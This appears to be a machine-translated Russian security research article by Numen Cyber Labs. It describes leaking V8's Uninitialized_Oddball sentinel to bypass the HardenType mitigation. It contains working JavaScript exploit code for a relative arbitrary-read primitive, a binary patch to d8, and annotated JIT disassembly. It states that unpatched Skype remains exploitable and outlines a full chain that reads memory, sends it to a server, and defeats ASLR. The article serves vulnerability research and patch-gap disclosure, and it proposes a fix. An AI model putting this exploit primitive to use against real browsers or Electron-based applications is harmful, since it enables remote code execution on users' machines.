Предисловие
Сторожевое значение (также известное как значение флага/значение отключения/мошенническое значение/значение сигнала/фиктивные данные) — это специальное значение, используемое в алгоритме, оно обычно используется в качестве специального значения для условий завершения в циклах или рекурсивных алгоритмах. В исходном коде хрома есть много значений Sentinel.
И от-утечки-дыры-к-хром-рендереру-rce, и Новый мир TheHole — как маленькая утечка потопит отличный браузер (CVE-2021–38003) описывали новый метод утечки объекта TheHole, что может привести к РЭ. И CVE-2021–38003, и CVE-2022–1364 доказали это.
После того, как мы описали mitigation bypass и обнародовали все детали. Неделю спустя Google также добавил два CVE в свой блог на GitHub. Хронологию можно увидеть здесь:
Здесь был исправлен объект TheHole, который мог приводить к выполнению произвольного кода. Мы можем проверить это в исходном коде хрома. Но, если честно, помимо объекта TheHole в v8 есть много других нативных объектов, которые не должны просачиваться в JavaScript. В этой статье мы поговорим об Uninitialized_Oddball.
Полный код javascript для обхода Harden Protect был раскрыт в Issue1352549. И это было написано участником Project0 Tiszka в его подвиге. Но что более важно, этот метод по-прежнему эффективен для последней версии V8, и Google еще не исправил его.
Из-за его эффективности и действенности мы должны посоветовать вам проверить и убедиться, что в вашем программном обеспечении нет patchGap.
01-выпуск 1216437 (CVE-2021–30551) был отправлен Глазуновым. Первый POC, обновленный им, был просто для утечки внутреннего неинициализированного чудака. Хотя второй POC был задан как путаница типов, в сочетании с этим методом только первый POC может легко завершить RCE;
02- В Issue1314616 (CVE-2022–1486) участник проекта 0 btiszka загрузил еще одну POC, которая также была прямой утечкой Uninitialized Oddball. Хотя в то время было неясно, как перейти от утечки UninitializedOddball к RCE, этого было достаточно, чтобы доказать серьезность безопасности. В выпуске 1314616 btiszka сделал следующее заявление:
«Примечания по эксплуатации: в настоящее время я не уверен, может ли этот примитив привести к чему-то большему, чем утечка информации. Эксплуатация не так проста, как…»
03- Выпуск 1352549 (NoCVE). Обратите внимание на влияние этого патча!
Мы считаем, что этих трех причин достаточно, чтобы убедить нас в том, что наше программное обеспечение невосприимчиво к любому chrome PatchGap. Я могу подтвердить, что Skype не устранил эту уязвимость (Issue1352549).
Сторожевое значение в V8
В исходном коде v8 есть несколько нативных объектов (v8/src/roots/roots.h). Эти объекты остаются вместе в памяти рядом друг с другом.
/* Oddballs */ Offset \ V(Oddball, uninitialized_value, UninitializedValue) 0138 \ V(Oddball, the_hole_value, TheHoleValue) 0148 \ V(Oddball, arguments_marker, ArgumentsMarker) 0218 \ V(Oddball, exception, Exception) %DebugPrint() crash 0220 \ V(Oddball, termination_exception, TerminationException) 0228 \ V(Oddball, optimized_out, OptimizedOut) 0230 \ V(Oddball, stale_register, StaleRegister) 0238 \
Как и в случае с объектом TheHole, мы не должны сливать эти объекты в javascript. Потому что, если срабатывает только уязвимость, выполнение произвольного кода может быть достигнуто путем утечки этих нативных объектов в Javascript. Утечка объекта TheHole в предыдущей статье доказала эту проблему. Мы должны повторить здесь, что этот метод смягчения не был исправлен в последней версии V8.
Чтобы проверить этот метод в последней версии V8, мы можем изменить нативную функцию версии 8, чтобы неинициализированный Oddball пропускался в JavaScript. Здесь мы напрямую изменяем относительное смещение изоляции (индекс) функции %TheHole(), чтобы возвращать неинициализированный Oddball. Найдите функцию Runtime_TheHole после декомпиляции кода и пропатчите ее:
v8::internal::Address v8::internal::Runtime_TheHole(int args_length, v8::internal::Address *args_object, v8::internal::Isolate *isolate) push rbp mov rbp, rsp lea rax, v8::internal::V8HeapCompressionScheme::base_ mov eax, [rax] test eax, eax jnz short loc_9B2ABA mov rax, [isolate+148h] ;;修改148h为138h pop rbp retn
вызовите %DebugPrint(%TheHole()), то мы увидим следующий результат:
$ ./d8 --expose-gc --allow-natives-syntax /home/avboy/Desktop/poc.js 0x210400002371 <Odd Oddball: uninitialized>
Обход HardenType
Поскольку этот метод был опубликован в выпуске Issue1352549, мы просто извлечем и упростим примитивы чтения напрямую, как показано в следующем коде:
class Helpers { constructor() { this.buf = new ArrayBuffer(8); this.u64 = new BigUint64Array(this.buf); this.f64 = new Float64Array(this.buf); this.u32 = new Uint32Array(this.buf); gc(); } f2big(f) { this.f64[0] = f; return this.u64[0]; } fhi(f) { this.f64[0] = f; return this.u32[1]; } flow(f) { this.f64[0] = f; return this.u32[0]; } } function UninitializedOddballExploiter(uninitialized_oddball) { var h = new Helpers(); let arr = new Array(0x1000000); arr[0] = 1.1; arr.a = 1.1; let exp1 = { prop: uninitialized_oddball }; let exp2 = { prop: { read_arr: arr } }; let read = (object, index) => { return object.prop.read_arr[index]; }; % PrepareFunctionForOptimization(read); read(exp2, 0); % OptimizeFunctionOnNextCall(read); const old_space = 0x200000;//0x200000 let start_offset = Math.floor(old_space / 8) + 3; for (var i = start_offset; i < start_offset + 0x6b000; i++) { let real_offset = i - 2; let hi = read(exp1, real_offset); let lo = read(exp1, real_offset - 1); let result = (BigInt(h.flow(hi)) << 32n) + (BigInt(h.fhi(lo))); console.log("result:" + result.toString(16)); readline(); } } UninitializedOddballExploiter(%TheHole());//注意对%TheHole()做patch
Мы протестировали приведенный выше javascript в версии 8–11.0.0, и когда %TheHole() возвращает UninitializedOddball, относительно произвольные примитивы чтения по-прежнему эффективны.
./d8 --expose-gc --allow-natives-syntax --print-opt-code --print-opt-code-filter=read --trace-turbo /home/avboy/Desktop/poc2.js
Для оптимизированной функции чтения JavaScript удалите пролог и оставьте разборку ключа, как показано ниже:
0x558b20004069 29 488b4d18 REX.W movq rcx,[rbp+0x18] 0x558b2000406d 2d f6c101 testb rcx,0x1 ;; check if rcx(ie. obj, the 1st arg of function) is 'Smi' 0x558b20004070 30 0f842e020000 jz 0x558b200042a4 <+0x264> ;; deopt reason 'Smi' 0x558b20004076 36 41b831cd1900 movl r8,0x19cd31 ;; (compressed) object: 0x17140019cd31 <Map[16](HOLEY_ELEMENTS)> 0x558b2000407c 3c 443941ff cmpl [rcx-0x1],r8 ;; check the map(r8=0x19cd31 is the map of obj) ;; here we check the map of obj, but we did not check the value of key(ie. obj.prop) ;; and if we make the value of key to be uninitialized_oddball, there is the bypass 0x558b20004080 40 0f8522020000 jnz 0x558b200042a8 <+0x268> ;; deopt reason 'wrong map' 0x558b20004086 46 448b410b movl r8,[rcx+0xb] ;; *(addr(obj)+0xb) -> r8 0x558b2000408a 4a 478b44060b movl r8,[r14+r8*1+0xb] ;; r14 is high addr 0x558b2000408f 4f 4d03c6 REX.W addq r8,r14 ;; r8 -> [String] in ReadOnlySpace: #uninitialized 0x558b20004092 52 458b4807 movl r9,[r8+0x7] ;; 0x558b20004096 56 4d03ce REX.W addq r9,r14 ;; r9 -> 0x2eb90000000d 0x558b20004099 59 458b400b movl r8,[r8+0xb] ;; 0x558b2000409d 5d 488b7d20 REX.W movq rdi,[rbp+0x20] ;; rdi is index of arr, the 2nd arg of function 0x558b200040a1 61 40f6c701 testb rdi,0x1 ;; check if rdi is 'Smi' 0x558b200040a5 65 0f85da000000 jnz 0x558b20004185 B5 <+0x145> ;; if rdi is not 'Smi', JMP 0x558b200040ab 6b 4c63df REX.W movsxlq r11,rdi ;; 0x558b200040ae 6e 49d1fb REX.W sarq r11, 1 ;; r11/2, because 'Smi' stored as 'Smi'*2 in Memory 0x558b200040b1 71 4d63c0 REX.W movsxlq r8,r8 0x558b200040b4 74 49d1f8 REX.W sarq r8, 1 0x558b200040b7 77 4d3bd8 REX.W cmpq r11,r8 ;; r11 = 0x40002,real_offset as the index of arr 0x558b200040ba 7a 0f83ec010000 jnc 0x558b200042ac <+0x26c> ;; deopt reason 'out of bounds' 0x558b200040c0 80 c4817b1044d907 vmovsd xmm0,[r9+r11*8+0x7] ;; move double float value to xmm0 0x558b200040c7 87 c5f92ec0 vucomisd xmm0,xmm0 ;; Compare float value and Set EFLAGS 0x558b200040cb 8b 0f8a88010000 jpe 0x558b20004259 B9 <+0x219> ;; jpe(Jump if parity even) 0x558b200040d1 91 0f8582010000 jnz 0x558b20004259 B9 <+0x219> ;; jnz(Jump if not zero)
В функции чтения javascript по адресу 0x558b2000407c был проверен первый аргумент с именем obj, чтобы убедиться, что свойство prop верно. Но вместо проверки значения obj.prop в качестве ключа смещение вычисляется непосредственно в соответствии с семантикой JavaScript для получения значения массива. Это приводит к путанице типов и произвольному чтению при выполнении вычислений.
Как показано в приведенной выше сборке, когда мы передаем uninitialized_oddball, расчет начинается с 0x558b20004086 с obj в качестве начальной точки и, наконец, завершает произвольное чтение в инструкции vmovsd xmm0,[r9+r11*8+0x7], а данные хранится в регистре xmm0. Как и в случае с объектом TheHole, из-за того, что uninitialized_oddball в памяти v8 отсортирован вперед, а содержимое объекта более примитивно, подделка упрощается, после исправления обхода смягчения TheHole этот метод не теряется в качестве первого выбора для обхода. Точно так же, произвольно написанный, мы можем обратиться к Issue1352549 для анализа конструкции. Поскольку принцип аналогичен, он больше не повторяется.
Здесь предложение по исправлению состоит в том, чтобы добавить проверку на карту массива, когда оптимизированная функция возвращает элементы массива, чтобы избежать прямого вычисления смещения для возврата значений массива.
Оповещение о патче
Когда мы говорим о chrome PatchGap, мы должны не только обращать внимание на старые уязвимости, найденные исследователями, но и проверять кластер Google. Потому что эти уязвимости, которые Google быстро и незаметно исправила, также могут быть использованы.
После нашего анализа Issue1352549 мы быстро проверили некоторое программное обеспечение, которое не исправило PatchGaps с отношением обхода uninitialized_oddball, и мы проверили, что Skype до сих пор не устранил эту уязвимость. Произвольные чтения и записи немного отличаются в скайпе. Поскольку арка скайпа x86, то нам не нужно учитывать в ней сжатие указателя. Таким образом, мы можем получить абсолютные примитивы для чтения и записи напрямую.
Но когда мы пишем эксплойты на x64, из-за сжатия Pointer, v8 по умолчанию добавит базовый адрес. Просто проверьте следующий ассемблерный код, оптимизированный Tuberfun, и у нас будет четкое понимание:
0x3979b8ff 3f 8b790b mov edi,[ecx+0xb] 0x3979b902 42 8b7f0b mov edi,[edi+0xb] 0x3979b905 45 8b4707 mov eax,[edi+0x7] ;; eax will be a fixed number 0x3979b908 48 8b7f0b mov edi,[edi+0xb] 0x3979b90b 4b 8b5510 mov edx,[ebp+0x10] 0x3979b90e 4e f6c201 test_b dl,0x1 0x3979b911 51 0f85b6000000 jnz 0x3979b9cd <+0x10d> 0x3979b917 57 89d6 mov esi,edx 0x3979b919 59 d1fe sar esi,1 ;; esi is index 0x3979b91b 5b d1ff sar edi,1 ;; 0x3734b73a 0x3979b91d 5d 3bf7 cmp esi,edi 0x3979b91f 5f 0f838e010000 jnc 0x3979bab3 <+0x1f3> ;; deopt reason 'out of bounds' 0x3979b925 65 c5fb104cf007 vmovsd xmm1,xmm0,[eax+esi*8+0x7] ;;
Как показано выше, esi — это индекс произвольного массива чтения. Eax — фиксированное значение, а edi — максимальное значение, используемое для обнаружения выхода за границы.
Поэтому в пределах диапазона edi можно читать и писать как угодно. Когда мы пишем эксплойт для Skype, мы не можем пользоваться удобством сжатия указателей, когда мы переходим к чтению и записи памяти. И aslr включен в скайпе. Но поскольку файл слишком велик, чтобы жить в 4 ГБ памяти, хакерам нужно только прочитать фиксированный адрес и отправить содержимое на сервер, а затем взаимодействовать с сервером путем анализа PE, существует высокая вероятность обхода aslr.
В сочетании с традиционными идеями, такими как парсинг PE, несложно завершить всю полную цепочку этой уязвимости. Поскольку в Skype нет песочницы, если мы установим его, загрузив его с сайта Microsoft и установив напрямую, мы не можем сомневаться в том, что хакеры могли завершить всю цепочку эксплойтов.
PatchGap, созданный Issue1352549, на самом деле оставляет нам больше работы, чем проверка Issue1352549. Из-за опубликованного нового метода обхода Typer некоторые проблемы, такие как 1314616 и 1216437, легче использовать. Хакерам не нужно тратить слишком много усилий для достижения RCE, если есть только утечка uninitialized_oddball, включая все подобные уязвимости, выданные Google cluster fuzz.
Краткое содержание
В этой статье мы просто проведем грубый анализ реализации примитивов произвольного чтения путем утечки файла uninitialized_Oddball. Как показано в Части II, в v8 значений Sentinel намного больше, и, если честно, происходит много сбоев, если мы заменяем обычные объекты значениями Sentinel, в том числе и сбои, отличные от int3. Поскольку Uninitialized_Oddball и TheHole доказали способность Harden Bypass в v8, нет никаких сомнений в том, что другие значения Sentinel также могут вызывать аналогичные проблемы.
Это также дает нам подсказку, что:
1 — Будут ли другие утечки uninitialized_Oddball легко реализовывать RCE в v8.
2 — Мы видели, что Google быстро отключит обход TheHole, чтобы исправить это, и мы видели, что использование сборки мусора для реализации обхода ASLR было приостановлено в течение длительного времени. Это говорит о том, что подобные проблемы все еще находятся на нечеткой границе относительно того, считаются ли они официально проблемами безопасности.
3 — Если проблема в 02 рассматривается как формальная проблема безопасности, необходимо ли рассмотреть возможность добавления значений Sentinel, таких как %TheHole/uninitialized_Oddball, в качестве переменных в фаззер для майнинга других простых эксплойтов?
Здесь следует подчеркнуть, что независимо от того, рассматривается ли класс формально как проблема безопасности или нет, он значительно уменьшит реализацию хакером полного цикла эксплойта.
Рекомендации
https://bugs.chromium.org/p/chromium/issues/detail?id=1314616
https://bugs.chromium.org/p/chromium/issues/detail?id=1352549
https://bugs.chromium.org/p/chromium/issues/detail?id=1216437
Numen Cyber Labs стремится содействовать безопасной разработке Web3.0. Мы занимаемся безопасностью экосистемы блокчейна, а также безопасностью операционных систем и браузеров/мобильных устройств. Мы регулярно публикуем аналитические материалы по таким темам, следите за новостями!